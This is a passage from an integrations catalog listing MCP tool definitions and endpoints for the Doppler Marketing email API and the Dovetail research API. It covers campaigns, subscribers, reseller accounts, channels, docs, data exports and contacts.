lists, in pages of up to 100 items. Via GET /accounts//unsubscribed GET /api/v1/dopplermarketing/accounts/unsubscribed. Scopes: api. dopplermarketing_get_clientmanagers_by_clientmanagername (read) — Get the home resource of a client manager (reseller) account. Via GET /clientManagers/{clientManagerName} GET /api/v1/dopplermarketing/clientManagers/{clientManagerName}. Scopes: api. dopplermarketing_get_clientmanagers_by_clientmanagername_plans (read) — Get the user plans a client manager (reseller) can assign. Via GET /clientManagers/{clientManagerName}/plans GET /api/v1/dopplermarketing/clientManagers/{clientManagerName}/plans. Scopes: api. dopplermarketing_get_clientmanagers_by_clientmanagername_useraccounts (read) — Get a client manager's (reseller's) user accounts. Via GET /clientManagers/{clientManagerName}/userAccounts GET /api/v1/dopplermarketing/clientManagers/{clientManagerName}/userAccounts. Scopes: api. dopplermarketing_get_clientmanagers_by_clientmanagername_useraccounts_by_userid (read) — Get one user account of a client manager (reseller). Via GET /clientManagers/{clientManagerName}/userAccounts/{userId} GET /api/v1/dopplermarketing/clientManagers/{clientManagerName}/userAccounts/{userId}. Scopes: api. dopplermarketing_get_subscribers_by_origin (read) — Get subscribers by list origin, in pages of up to 100 items. Via GET /subscribers/{origin} GET /api/v1/dopplermarketing/subscribers/{origin}. Scopes: api. dopplermarketing_head_accounts_by_accountname_subscribers_by_email (read) — Check whether a subscriber exists without fetching it. A provider 404 means it does not (measured 2026-09-14 for an unknown address); success returns an empty result. Via HEAD /accounts//subscribers/{email} HEAD /api/v1/dopplermarketing/accounts/subscribers/{email}. Scopes: api. dopplermarketing_post_accounts_by_accountname_campaigns (write) — Create a campaign as a draft. Via POST /accounts//campaigns POST /api/v1/dopplermarketing/accounts/campaigns. Scopes: api. dopplermarketing_post_accounts_by_accountname_campaigns_by_campaignid_approvals (write) — Approve a campaign. Via POST /accounts//campaigns/{campaignId}/approvals POST /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/approvals. Scopes: api. dopplermarketing_post_accounts_by_accountname_campaigns_by_campaignid_shippings (write) — Send a campaign to its recipients immediately, or schedule it for a date and time. This reaches real inboxes. Via POST /accounts//campaigns/{campaignId}/shippings POST /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/shippings. Scopes: api. dopplermarketing_post_accounts_by_accountname_dobleoptintemplate (write) — Create the template used to send double opt-in confirmation emails. Via POST /accounts//DobleOptinTemplate POST /api/v1/dopplermarketing/accounts/DobleOptinTemplate. Scopes: api. dopplermarketing_post_accounts_by_accountname_lists (write) — Create a subscriber list. Via POST /accounts//lists POST /api/v1/dopplermarketing/accounts/lists. Scopes: api. dopplermarketing_post_accounts_by_accountname_lists_by_listid_subscribers (write) — Add a subscriber to a list. Via POST /accounts//lists/{listId}/subscribers POST /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers. Scopes: api. dopplermarketing_post_accounts_by_accountname_lists_by_listid_subscribers_doble_optin_by_templateid (write) — Add a subscriber to a list through double opt-in: Doppler emails the confirmation template and the subscriber joins once confirmed. Via POST /accounts//lists/{listId}/subscribers/doble-optin/{templateId} POST /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers/doble-optin/{templateId}. Scopes: api. dopplermarketing_post_accounts_by_accountname_lists_by_listid_subscribers_import (write) — Import subscribers into a list (JSON payload). Runs as a task; see the task tools for its progress and errors. Via POST /accounts//lists/{listId}/subscribers/import POST /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers/import. Scopes: api. dopplermarketing_post_accounts_by_accountname_lists_by_listid_subscribers_import_csv (write) — Import subscribers into a list from CSV. The body is the CSV text itself (header row first), sent as text/csv. Via POST /accounts//lists/{listId}/subscribers/import-csv POST /api/v1/dopplermarketing/accounts/lists/{listId}/subscribers/import-csv. Scopes: api. dopplermarketing_post_accounts_by_accountname_subscribers (write) — Add a subscriber at the account level (the vendor summary repeats the list-level one). Via POST /accounts//subscribers POST /api/v1/dopplermarketing/accounts/subscribers. Scopes: api. dopplermarketing_post_accounts_by_accountname_subscribers_import (write) — Import subscribers into the account (JSON payload). Runs as a task; see the task tools for its progress and errors. Via POST /accounts//subscribers/import POST /api/v1/dopplermarketing/accounts/subscribers/import. Scopes: api. dopplermarketing_post_accounts_by_accountname_unsubscribed (write) — Unsubscribe a subscriber from the whole account. Via POST /accounts//unsubscribed POST /api/v1/dopplermarketing/accounts/unsubscribed. Scopes: api. dopplermarketing_post_accounts_by_accountname_unsubscribed_import (write) — Import a batch of subscribers as unsubscribed. Via POST /accounts//unsubscribed/import POST /api/v1/dopplermarketing/accounts/unsubscribed/import. Scopes: api. dopplermarketing_post_clientmanagers_by_clientmanagername_useraccounts (write) — Create a user account under a client manager (reseller). Via POST /clientManagers/{clientManagerName}/userAccounts POST /api/v1/dopplermarketing/clientManagers/{clientManagerName}/userAccounts. Scopes: api. dopplermarketing_post_clientmanagers_by_clientmanagername_useraccounts_by_userid_active (write) — Activate or deactivate a user account of a client manager (reseller). Via POST /clientManagers/{clientManagerName}/userAccounts/{userId}/active POST /api/v1/dopplermarketing/clientManagers/{clientManagerName}/userAccounts/{userId}/active. Scopes: api. dopplermarketing_put_accounts_by_accountname_campaigns_by_campaignid (write) — Edit a campaign. Via PUT /accounts//campaigns/{campaignId} PUT /api/v1/dopplermarketing/accounts/campaigns/{campaignId}. Scopes: api. dopplermarketing_put_accounts_by_accountname_campaigns_by_campaignid_content (write) — Replace a campaign's content. The body is the HTML itself, sent as text/html. Via PUT /accounts//campaigns/{campaignId}/content PUT /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/content. Scopes: api. dopplermarketing_put_accounts_by_accountname_campaigns_by_campaignid_content_text_alternative (write) — Set the plain-text alternative of a campaign's content. Via PUT /accounts//campaigns/{campaignId}/content/text-alternative PUT /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/content/text-alternative. Scopes: api. dopplermarketing_put_accounts_by_accountname_campaigns_by_campaignid_recipients (write) — Set the recipients a campaign is addressed to. Via PUT /accounts//campaigns/{campaignId}/recipients PUT /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/recipients. Scopes: api. dopplermarketing_put_accounts_by_accountname_campaigns_by_campaignid_social_media (write) — Edit a campaign's social media preferences. Via PUT /accounts//campaigns/{campaignId}/social-media PUT /api/v1/dopplermarketing/accounts/campaigns/{campaignId}/social-media. Scopes: api. dopplermarketing_put_accounts_by_accountname_dobleoptintemplate_by_templateid_content (write) — Replace a double opt-in template's content. The body is the HTML itself, sent as text/html, and must contain the [[[ConfirmationLink]]] tag. Via PUT /accounts//DobleOptinTemplate/{templateId}/content PUT /api/v1/dopplermarketing/accounts/DobleOptinTemplate/{templateId}/content. Scopes: api. dopplermarketing_put_accounts_by_accountname_lists_by_listid (write) — Edit a subscriber list. Via PUT /accounts//lists/{listId} PUT /api/v1/dopplermarketing/accounts/lists/{listId}. Scopes: api. dopplermarketing_put_clientmanagers_by_clientmanagername_useraccounts_by_userid (write) — Edit a user account of a client manager (reseller). Via PUT /clientManagers/{clientManagerName}/userAccounts/{userId} PUT /api/v1/dopplermarketing/clientManagers/{clientManagerName}/userAccounts/{userId}. Scopes: api. ================================================================================ ## Dovetail URL: https://www.agenticfabriq.com/integrations/dovetail Section: Integrated Tools Dovetail — 91 MCP tools Provider key: dovetail. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. dovetail_delete_v1_channels_by_channel_id (write, destructive) — Delete a channel. Deleted channel end up in your specific project's trash, but can be restored for up to 30 days before they’re automatically and permanently deleted. Returns the deleted channel object. via DELETE /v1/channels/{channel_id} DELETE /api/v1/dovetail/v1/channels/{channel_id}. Scopes: api. dovetail_delete_v1_channels_topic_by_topic_id (write, destructive) — Delete a topic. Deleted topic end up in your specific project's trash, but can be restored for up to 30 days before they’re automatically and permanently deleted. Returns the deleted topic object. via DELETE /v1/channels/topic/{topic_id} DELETE /api/v1/dovetail/v1/channels/topic/{topic_id}. Scopes: api. dovetail_delete_v1_contacts_by_contact_id (write, destructive) — Delete a contact. Returns the deleted contact object. via DELETE /v1/contacts/{contact_id} DELETE /api/v1/dovetail/v1/contacts/{contact_id}. Scopes: api. dovetail_delete_v1_data_by_data_id (write, destructive) — Delete a data. Deleted data end up in your specific project's trash, but can be restored for up to 30 days before they’re automatically and permanently deleted. Returns the updated data object. via DELETE /v1/data/{data_id} DELETE /api/v1/dovetail/v1/data/{data_id}. Scopes: api. dovetail_delete_v1_docs_by_doc_id (write, destructive) — Delete a doc. Deleted docs end up in your specific project's trash. They can be restored for up to 30 days before they're automatically and permanently deleted. Returns the updated doc object. via DELETE /v1/docs/{doc_id} DELETE /api/v1/dovetail/v1/docs/{doc_id}. Scopes: api. dovetail_delete_v1_docs_by_doc_id_comments_by_comment_id (write, destructive) — Delete a comment on a doc. Only the comment author can delete their own comments. Deleted comments can be restored for up to 30 days. Returns the deleted comment. via DELETE /v1/docs/{doc_id}/comments/{comment_id} DELETE /api/v1/dovetail/v1/docs/{doc_id}/comments/{comment_id}. Scopes: api. dovetail_delete_v1_fields_by_field_id (write, destructive) — Delete a field by id. This is a soft delete. via DELETE /v1/fields/{field_id} DELETE /api/v1/dovetail/v1/fields/{field_id}. Scopes: api. dovetail_delete_v1_folders_by_folder_id (write, destructive) — Delete a folder. Deleted folders end up in your workspace's trash, but can be restored for up to 30 days before they're automatically and permanently deleted. Returns the deleted folder object. via DELETE /v1/folders/{folder_id} DELETE /api/v1/dovetail/v1/folders/{folder_id}. Scopes: api. dovetail_delete_v1_notes_by_note_id (write, destructive) — Delete a note. The note is soft-deleted and moved to the project's trash, but can be restored for up to 30 days before they’re automatically and permanently deleted. Returns the updated note object. via DELETE /v1/notes/{note_id} DELETE /api/v1/dovetail/v1/notes/{note_id}. Scopes: api. dovetail_delete_v1_projects_by_project_id (write, destructive) — Delete a project. Deleted projects end up in your workspace's trash, but can be restored for up to 30 days before they're automatically and permanently deleted. Returns the deleted project object. via DELETE /v1/projects/{project_id} DELETE /api/v1/dovetail/v1/projects/{project_id}. Scopes: api. dovetail_delete_v1_projects_by_project_id_context_docs_by_doc_id (write, destructive) — Remove an insight from the project's AI context. If the insight is not linked, this is a no-op. Returns the full updated list of context docs. via DELETE /v1/projects/{project_id}/context/docs/{doc_id} DELETE /api/v1/dovetail/v1/projects/{project_id}/context/docs/{doc_id}. Scopes: api. dovetail_delete_v1_projects_by_project_id_context_keywords (write, destructive) — Remove one or more keywords from the project's AI context. Keywords not present in the current list are ignored. Returns the full updated list of keywords. via DELETE /v1/projects/{project_id}/context/keywords DELETE /api/v1/dovetail/v1/projects/{project_id}/context/keywords. Scopes: api. dovetail_get_v1_channels (read) — Retrieve all channels in your workspace. Channels are automated analysis pipelines that continuously process high-volume unstructured customer feedback (e.g. app reviews, NPS responses, support tickets) into structured, categorized insights using AI-powered topic classification. Results can be filtered by folder and sorted by creation date or title. They are paginated. via GET /v1/channels GET /api/v1/dovetail/v1/channels. Scopes: api. dovetail_get_v1_channels_by_channel_id (read) — Retrieve a single channel's metadata by its unique identifier. Returns title, creation date, folder location, and a list of its topics (AI-generated categories used to classify incoming data points). via GET /v1/channels/{channel_id} GET /api/v1/dovetail/v1/channels/{channel_id}. Scopes: api. dovetail_get_v1_channels_by_channel_id_data (read) — Get a list of data points for a channel. via GET /v1/channels/{channel_id}/data GET /api/v1/dovetail/v1/channels/{channel_id}/data. Scopes: api. dovetail_get_v1_channels_by_channel_id_themes (read) — Retrieve all themes for a channel. Themes are AI-generated clusters of data points that share a common subject within a topic. Each theme has a `title` (a short label summarising the cluster), an optional `summary` (a longer AI-generated description of what data points in the theme share in common), and a `datum_count` (the number of data points currently classified into the theme). Results are sorted by `datum_count:desc` by default and are paginated using cursor-based pagination. via GET /v1/channels/{channel_id}/themes GET /api/v1/dovetail/v1/channels/{channel_id}/themes. Scopes: api. dovetail_get_v1_channels_data_by_datum_id (read) — Get a data point by id. via GET /v1/channels/data/{datum_id} GET /api/v1/dovetail/v1/channels/data/{datum_id}. Scopes: api. dovetail_get_v1_contacts (read) — Retrieve all contacts in your workspace's contacts database. Contacts represent people such as interview participants, customers, or research subjects. Results can be filtered by name and sorted by creation date or name. They are paginated. via GET /v1/contacts GET /api/v1/dovetail/v1/contacts. Scopes: api. dovetail_get_v1_contacts_by_contact_id (read) — Retrieve a single contact by its unique identifier. Contacts represent people in your contacts database (e.g. interview participants, customers, or research subjects). Returns the contact's name, creation date, and any custom fields. via GET /v1/contacts/{contact_id} GET /api/v1/dovetail/v1/contacts/{contact_id}. Scopes: api. dovetail_get_v1_data (read) — Retrieve all data entries in your workspace. Data entries are documents within a project that capture raw research data such as interview transcripts, survey responses, support tickets, and session recordings. They are the primary place where highlights and tags are applied during qualitative analysis. This is the recommended endpoint for listing research data. The legacy `/v1/notes` endpoints provide the same underlying content but the product now refers to this resource as "data". Each item in the response is **metadata only**: identifiers, title, project, folder, creation time, and deletion flag. The research **content body** (transcript, notes text, etc.) is not included. Use **Export data** (`GET /v1/data/:data_id/export/:type`) to read content for a specific entry. Results can be filtered by folder, project, title, or creation date. They can be sorted by creation date or title and are paginated. via GET /v1/data GET /api/v1/dovetail/v1/data. Scopes: api. dovetail_get_v1_data_by_data_id (read) — Retrieve a single data entry by its unique identifier. The response is **metadata only** with respect to the entry body: it includes title, custom fields, associated project, folder, and attached files, but **not** the main text/content body (transcript, imported document text, etc.). To retrieve the actual text content, use the **Export data** (`GET /v1/data/:data_id/export/:type`) endpoint. via GET /v1/data/{data_id} GET /api/v1/dovetail/v1/data/{data_id}. Scopes: api. dovetail_get_v1_data_by_data_id_export_by_type (read) — Export the content body of a data entry in either HTML or Markdown format. Use the `type` path parameter to specify the desired format: `html` or `markdown`. This is the only GET endpoint that returns the **content body** of a data entry. **List data** and **Get data** return metadata only (no body text). Returns the same identifying fields as **Get data**, plus either `content_html` or `content_markdown` with the full text content. **Including file content**: pass `?include_file_content=true` to also read the extracted text of attached document files (PDF, DOCX, PPTX, XLSX) from the search index — in the plain export, attached files appear only as links. The response then additionally includes: - `content_text` — the entry's full indexed body: its own text with file text inlined, plus any survey content. Each file's pages are preceded by a ` - ` header, so content can be attributed to its source file. - `files` — the entry's attached files with a per-file `text_status` (`ready` / `pending` / `failed` / `unsupported` / `unavailable`). - `indexed` — when `false`, the entry has not reached the search index yet and `content_text` is empty; retry shortly. - `truncated` — when `true`, the indexed body exceeded the search index's size limit and `content_text` is incomplete. Attached file text is returned under `note:read`: files are part of the data entry, and their visibility is implied by the entry's visibility. (`file:read` gates binary file egress via the file download API, not extracted text.) With `include_file_content=true`, returns 403 when the workspace has export disabled (HIPAA restriction), and when any attached file is past its retention window: retention removes the file's bytes but its extracted text remains in the search index, so the flag is refused rather than returning content the `files` list would label `unavailable`. The plain export (without the flag) is unaffected in both cases. via GET /v1/data/{data_id}/export/{type} GET /api/v1/dovetail/v1/data/{data_id}/export/{type}. Scopes: api. dovetail_get_v1_docs (read) — Retrieve all docs in your workspace. Docs are rich-text documents used to write up research reports, share findings, and publish deliverables. They can exist within a project, inside a folder, or at the workspace root. Each item in the response is **metadata only**: identifiers, title, folder, and creation time. The document **content body** is not included. Use **Export doc** (`GET /v1/docs/:doc_id/export/:type`) to read content for a specific doc. Results can be filtered by folder, project, title, or creation date. They can be sorted by creation date or title and are paginated. via GET /v1/docs GET /api/v1/dovetail/v1/docs. Scopes: api. dovetail_get_v1_docs_by_doc_id (read) — Retrieve a single doc by its unique identifier. The response is **metadata only** with respect to the document body: it includes title, custom fields, project reference, folder, files, and cover image, but **not** the rich-text **content body**. Unlike **List docs**, this returns the full detail view for one doc. To retrieve the actual document text, use **Export doc** (`GET /v1/docs/:doc_id/export/:type`). via GET /v1/docs/{doc_id} GET /api/v1/dovetail/v1/docs/{doc_id}. Scopes: api. dovetail_get_v1_docs_by_doc_id_comments (read) — Get a list of comments on a doc. Comments are returned in chronological order by default. Only published comments are included. via GET /v1/docs/{doc_id}/comments GET /api/v1/dovetail/v1/docs/{doc_id}/comments. Scopes: api. dovetail_get_v1_docs_by_doc_id_comments_by_comment_id (read) — Get a comment on a doc by id. via GET /v1/docs/{doc_id}/comments/{comment_id} GET /api/v1/dovetail/v1/docs/{doc_id}/comments/{comment_id}. Scopes: api. dovetail_get_v1_docs_by_doc_id_export_by_type (read) — Export the content body of a doc in either HTML or Markdown format. Use the `type` path parameter to specify the desired format: `html` or `markdown`. This is the only GET endpoint that returns the **content body** of a doc. **List docs**, **List personal docs**, and **Get doc** return metadata only (no body text). Returns the same identifying fields as **Get doc**, plus either `content_html` or `content_markdown` with the full document content. via GET /v1/docs/{doc_id}/export/{type} GET /api/v1/dovetail/v1/docs/{doc_id}/export/{type}. Scopes: api. dovetail_get_v1_fields (read) — Get a list of fields for a project or workspace field group. You must provide either `project_id` or `workspace_field_group_id` in the filter, along with `field_set_type` (`data` or `doc`). via GET /v1/fields GET /api/v1/dovetail/v1/fields. Scopes: api. dovetail_get_v1_fields_by_field_id (read) — Get a field by id. via GET /v1/fields/{field_id} GET /api/v1/dovetail/v1/fields/{field_id}. Scopes: api. dovetail_get_v1_files_by_file_id (read) — Retrieve metadata for a single file by its unique identifier. Returns the file's name, MIME type, size in bytes, processing status (`pending`, `completed`, or `failed`), author, and creation date. Files are attachments (images, documents, audio, video) that can be embedded in docs, data entries, or other content. Use this endpoint to check a file's processing status after upload. via GET /v1/files/{file_id} GET /api/v1/dovetail/v1/files/{file_id}. Scopes: api. dovetail_get_v1_files_by_file_id_download (read) — Get a presigned URL to download the content of a file by its unique identifier. The response includes a short-lived URL that can be used to download the file directly from cloud storage without additional authentication. The URL is valid for 1 hour; call this endpoint again to mint a fresh URL when needed. Download availability is based on upload completion and redaction/obfuscation readiness. It is separate from processing status: a file can still report `pending` or `failed` from the **Get file by id** endpoint while the original bytes are available for download. via GET /v1/files/{file_id}/download GET /api/v1/dovetail/v1/files/{file_id}/download. Scopes: api. dovetail_get_v1_folders (read) — Retrieve all folders in your workspace. Folders are used to organize projects, docs, channels, dashboards, agents, and other folders into a hierarchical structure — similar to a file system. Results can be filtered by title or parent folder, sorted by creation date or title, and are paginated. **Tip:** To list only root-level folders, filter with `filter[parent_folder_id]=null`. To list children of a specific folder, set `filter[parent_folder_id]` to that folder's ID. **Note:** The `folders` field (containing child folder IDs) is only populated when filtering by `parent_folder_id`. Without this filter, `folders` will be `null` for performance reasons. To retrieve child folders for a specific folder, either use `filter[parent_folder_id]` or call the **Get folder** (`GET /v1/folders/:folder_id`) endpoint. via GET /v1/folders GET /api/v1/dovetail/v1/folders. Scopes: api. dovetail_get_v1_folders_by_folder_id (read) — Retrieve a single folder by its unique identifier. Returns the folder's metadata including title, parent folder, creation date, and a list of immediate child folder IDs. Use this endpoint to inspect a folder's position in the hierarchy or to discover its children. via GET /v1/folders/{folder_id} GET /api/v1/dovetail/v1/folders/{folder_id}. Scopes: api. dovetail_get_v1_folders_by_folder_id_contents (read) — Retrieve all items contained within a specific folder. Returns a paginated list of projects, docs, channels, dashboards, agents, and child folders that are direct children of the specified folder. Each item includes its type, title, creation date, and author. Use this endpoint to browse a folder's contents or build a file-explorer-style navigation for your workspace. Results can be sorted by creation date or title and are paginated. via GET /v1/folders/{folder_id}/contents GET /api/v1/dovetail/v1/folders/{folder_id}/contents. Scopes: api. dovetail_get_v1_highlights (read) — Retrieve all highlights in your workspace. Highlights are selected passages of text (or time ranges in audio/video transcripts) within data entries that have been marked as significant during qualitative analysis. They can be tagged with one or more tags to categorize findings. Results can be filtered by project, tag, specific highlight ID, creation date, or update date. **Only one** of `project_id`, `tag_id`, or `highlight_id` can be used per request. Results are sortable by creation date and are paginated. via GET /v1/highlights GET /api/v1/dovetail/v1/highlights. Scopes: api. dovetail_get_v1_highlights_by_highlight_id (read) — Retrieve a single highlight by its unique identifier. Returns the highlight's text content, associated data entry, tags, and time range (for transcript highlights). via GET /v1/highlights/{highlight_id} GET /api/v1/dovetail/v1/highlights/{highlight_id}. Scopes: api. dovetail_get_v1_notes (read) — Retrieve all data entries (notes) in your workspace. These are documents within a project that capture raw research data such as interview transcripts, survey responses, and session recordings. They are the primary place where highlights and tags are applied. **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use the equivalent **data** endpoints (`/v1/data`) instead, which provide the same functionality with additional features like title filtering. Results can be filtered by folder, project, or creation date. They can be sorted by creation date or title and are paginated. via GET /v1/notes GET /api/v1/dovetail/v1/notes. Scopes: api. dovetail_get_v1_notes_by_note_id (read) — Retrieve a single data entry (note) by its unique identifier. Returns the entry's full metadata including title, custom fields, associated project, folder, and attached files. **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use **Get data** (`GET /v1/data/:data_id`) instead. To retrieve the actual text content, use the **Export note** (`GET /v1/notes/:note_id/export/:type`) endpoint. via GET /v1/notes/{note_id} GET /api/v1/dovetail/v1/notes/{note_id}. Scopes: api. dovetail_get_v1_notes_by_note_id_export_by_type (read) — Export the content body of a data entry (note) in either HTML or Markdown format. Use the `type` path parameter to specify the desired format: `html` or `markdown`. **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use **Export data** (`GET /v1/data/:data_id/export/:type`) instead. This is the only way to retrieve the actual text content of a data entry via the API. The **Get note** endpoint returns metadata only. Returns the note object with an additional `content_html` or `content_markdown` field containing the full content. via GET /v1/notes/{note_id}/export/{type} GET /api/v1/dovetail/v1/notes/{note_id}/export/{type}. Scopes: api. dovetail_get_v1_projects (read) — Retrieve all projects in your workspace. Projects are containers for organizing qualitative research — they hold data, docs, highlights, tags, and insights related to a specific research initiative. Results can be filtered by folder or title, sorted by creation date or title, and are paginated. Use this endpoint to browse workspace content or build project selectors in your integration. via GET /v1/projects GET /api/v1/dovetail/v1/projects. Scopes: api. dovetail_get_v1_projects_by_project_id (read) — Retrieve a single project by its unique identifier. Returns the project's metadata including title, author, creation date, and folder location. Use this endpoint to fetch details about a specific project, for example to display project information or verify a project exists before creating content within it. via GET /v1/projects/{project_id} GET /api/v1/dovetail/v1/projects/{project_id}. Scopes: api. dovetail_get_v1_projects_by_project_id_context (read) — Retrieve the AI context for a project, including its keywords and linked insight docs. Keywords guide AI features such as highlighting and tagging suggestions. Docs are insights used as source material for those features. via GET /v1/projects/{project_id}/context GET /api/v1/dovetail/v1/projects/{project_id}/context. Scopes: api. dovetail_get_v1_projects_templates (read) — Retrieve all project templates available in your workspace. Templates are reusable blueprints that define a project's fields, views, tags, and structural layout. Use the returned template IDs with the **Create project** (`POST /v1/projects`) endpoint to create a new project pre-populated with the template's configuration. This is useful for standardizing research workflows across your team. Results are paginated and can be sorted by creation date or title. via GET /v1/projects/templates GET /api/v1/dovetail/v1/projects/templates. Scopes: api. dovetail_get_v1_tags (read) — Retrieve all tags in your workspace. Tags are labels used to categorize highlights during qualitative analysis (e.g. "Usability Issue", "Feature Request", "Positive Feedback"). Each tag is either a project tag (belonging to a single project) or a workspace tag (belonging to a workspace tag board and usable across all projects linked to that board) — see the `scope` field on each tag. Results can be filtered by project and tag board, and sorted by creation date. They are paginated. via GET /v1/tags GET /api/v1/dovetail/v1/tags. Scopes: api. dovetail_get_v1_tags_boards (read) — Retrieve tag boards in your workspace. A tag board holds the tags (and tag groups) used to categorize highlights — every project has its own board, and a workspace can additionally have workspace tag boards whose tags are shared across all projects linked to them. By default the workspace's shared tag boards are returned. Pass a `project_id` filter to list a single project's own tag board instead. Each board includes its tag count and its tag groups (with each group's tag count), in display order. Results are paginated and can be sorted by creation date. via GET /v1/tags/boards GET /api/v1/dovetail/v1/tags/boards. Scopes: api. dovetail_get_v1_tags_by_tag_id (read) — Retrieve a single tag by its unique identifier. Returns the tag's title, scope (`project` or `workspace`), the project it belongs to, its workspace tag board (for workspace tags), and its creation date. via GET /v1/tags/{tag_id} GET /api/v1/dovetail/v1/tags/{tag_id}. Scopes: api. dovetail_get_v1_token_info (read) — Retrieve information about the API token used to authenticate this request. Use this endpoint to verify that your token is valid and to determine which workspace it belongs to. Returns the token's unique identifier and the subdomain of the associated Dovetail workspace. This is useful for confirming connectivity before making further API calls, or for identifying which workspace a token grants access to in multi-workspace setups. via GET /v1/token/info GET /api/v1/dovetail/v1/token/info. Scopes: api. dovetail_get_v1_users (read) — Retrieve all members of your workspace. Returns each user's profile information including name, email, job title, role, and admin status. Results can be filtered by name or email and sorted by creation date or name. They are paginated. via GET /v1/users GET /api/v1/dovetail/v1/users. Scopes: api. dovetail_get_v1_users_by_user_id (read) — Retrieve a single workspace member by their unique identifier. Returns the user's profile information including name, email, job title, role (CONTRIBUTOR, MANAGER, or VIEWER), and whether they are a workspace admin. Use this endpoint to look up details about a specific team member — for example, to display author information or resolve user IDs returned by other endpoints. via GET /v1/users/{user_id} GET /api/v1/dovetail/v1/users/{user_id}. Scopes: api. dovetail_patch_v1_channels_by_channel_id (write) — Update a channel's properties. Supports updating the title and the context (a description of the channel's main goal or purpose, which helps Dovetail's AI better classify incoming data). Only the fields you include in the request body will be modified. Returns the updated channel object. via PATCH /v1/channels/{channel_id} PATCH /api/v1/dovetail/v1/channels/{channel_id}. Scopes: api. dovetail_patch_v1_channels_topic_by_topic_id (write) — Update a topic's title and/or description. Only the fields you include in the request body will be modified — omitted fields are left unchanged. Updating a topic's description can change how future data points are classified against it. Returns the updated topic object. via PATCH /v1/channels/topic/{topic_id} PATCH /api/v1/dovetail/v1/channels/topic/{topic_id}. Scopes: api. dovetail_patch_v1_contacts_by_contact_id (write) — Update an existing contact's properties. Supports updating the name, email, and custom fields. Only the fields you include in the request body will be modified — omitted fields are left unchanged. Returns the updated contact object. via PATCH /v1/contacts/{contact_id} PATCH /api/v1/dovetail/v1/contacts/{contact_id}. Scopes: api. dovetail_patch_v1_data_by_data_id (write) — Update a data entry's properties. Supports updating the title and custom fields. Only the fields you include in the request body will be modified — omitted fields are left unchanged. Returns the updated data object. via PATCH /v1/data/{data_id} PATCH /api/v1/dovetail/v1/data/{data_id}. Scopes: api. dovetail_patch_v1_docs_by_doc_id (write) — Update a doc's properties. Supports updating the title, custom fields, cover image, and folder location. Only the fields you include in the request body will be modified — omitted fields are left unchanged. **Note:** `folder_id` and `fields` cannot be updated in the same request. To update the doc content body, create a new doc or use the Dovetail web app. Returns the updated doc object. via PATCH /v1/docs/{doc_id} PATCH /api/v1/dovetail/v1/docs/{doc_id}. Scopes: api. dovetail_patch_v1_docs_by_doc_id_comments_by_comment_id (write) — Update a comment on a doc. Only the comment author can update their own comments. via PATCH /v1/docs/{doc_id}/comments/{comment_id} PATCH /api/v1/dovetail/v1/docs/{doc_id}/comments/{comment_id}. Scopes: api. dovetail_patch_v1_fields_by_field_id (write) — Update a field by id. via PATCH /v1/fields/{field_id} PATCH /api/v1/dovetail/v1/fields/{field_id}. Scopes: api. dovetail_patch_v1_folders_by_folder_id (write) — Update a folder's properties. Currently supports updating the folder title. Only the fields you include in the request body will be modified. Returns the updated folder object. via PATCH /v1/folders/{folder_id} PATCH /api/v1/dovetail/v1/folders/{folder_id}. Scopes: api. dovetail_patch_v1_notes_by_note_id (write) — Update a data entry's (note's) properties. Supports updating the title and custom fields. Only the fields you include in the request body will be modified — omitted fields are left unchanged. **Note:** The notes resource has been renamed to **data** in Dovetail. New integrations should use **Patch data** (`PATCH /v1/data/:data_id`) instead. Returns the updated note object. via PATCH /v1/notes/{note_id} PATCH /api/v1/dovetail/v1/notes/{note_id}. Scopes: api. dovetail_patch_v1_projects_by_project_id (write) — Update a project's properties. Currently supports updating the project title. Only the fields you include in the request body will be modified. Returns the updated project object. via PATCH /v1/projects/{project_id} PATCH /api/v1/dovetail/v1/projects/{project_id}. Scopes: api. dovetail_post_v1_channels (write) — Create a new channel in your workspace. A channel is an automated pipeline for analyzing customer feedback at scale. You must specify a `content_type` (e.g. `APP_REVIEW`, `NPS_FEEDBACK`, `SUPPORT_TICKETS`) that tells Dovetail what kind of data will flow through this channel. Optionally place the channel in a folder via `project_category_id`. Once created, send data to the channel using the **Create data point** (`POST /v1/channels/data`) endpoint. Dovetail will automatically classify each data point into topics. Returns the channel object with its initial set of AI-generated topics. via POST /v1/channels POST /api/v1/dovetail/v1/channels. Scopes: api. dovetail_post_v1_channels_data (write) — Send a new data point to a channel for automated AI analysis. Each data point represents a single piece of customer feedback (e.g. an app review, a support ticket, or an NPS response). The `text` field contains the content to analyze, and `timestamp` records when the feedback was originally received (in ISO 8601 format). You can optionally attach `source_title` and `source_url` to track provenance, and include `metadata` key-value pairs for additional context. Once created, Dovetail will automatically classify the data point against the channel's topics. Returns the data point object without the text content. via POST /v1/channels/data POST /api/v1/dovetail/v1/channels/data. Scopes: api. dovetail_post_v1_channels_topic (write) — Create a new topic within a channel. Topics are categories used by Dovetail's AI to classify incoming data points. Each topic has a title and description that guide how data is sorted. You must specify the `channel_id` that this topic belongs to. After creating a topic, new data points sent to the channel will be evaluated against it during classification. Returns the newly created topic object. via POST /v1/channels/topic POST /api/v1/dovetail/v1/channels/topic. Scopes: api. dovetail_post_v1_contacts (write) — Create a new contact in your workspace's contacts database. Provide a name and email, and optionally attach custom field data (e.g. a Salesforce ID or company name). Contacts can later be linked to data entries and highlights within Dovetail to track which research insights came from which participants. Returns the newly created contact object. via POST /v1/contacts POST /api/v1/dovetail/v1/contacts. Scopes: api. dovetail_post_v1_data (write) — Create a new data entry within a Dovetail project. Data entries capture raw research data — interview transcripts, survey responses, support tickets, or CRM records. They must be associated with a project via `project_id`. You can provide the initial content as plain text or HTML via the 